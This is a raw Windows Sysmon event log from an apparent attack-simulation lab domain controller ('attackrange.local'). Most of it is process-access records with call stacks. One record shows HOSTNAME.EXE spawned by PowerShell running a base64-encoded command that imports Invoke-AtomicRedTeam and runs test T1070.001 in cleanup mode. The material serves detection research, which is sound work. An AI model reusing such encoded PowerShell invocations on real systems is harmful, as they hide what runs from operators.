09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004447Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004446Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004445Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004444Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004443Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004442Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004441Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004440Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2922-5F80-E800-000000007F01}3000C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004439Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.531{A5F018FF-2922-5F80-E700-000000007F01}49884976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2922-5F80-E800-000000007F01}3000C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd5332b2(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d413c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d3e0d(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd485472(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9949a3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9f2e72(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d6368(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9c82ed(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d4820(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d43bc(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d413c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d3e0d(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd485472(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9949a3(wow64) 154100x80000000000000004438Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.532{A5F018FF-2922-5F80-E800-000000007F01}3000C:\Windows\System32\HOSTNAME.EXE10.0.14393.0 (rs1_release.160715-1616)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbABlAGEAbgB1AHAA 10341000x80000000000000004437Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.187{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004436Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.187{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004435Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.156{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_fp01plmf.ocl.ps12020-10-09 09:10:58.156 10341000x80000000000000004434Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.141{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004433Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004432Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004431Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004430Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004429Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004428Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004427Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004426Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004425Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 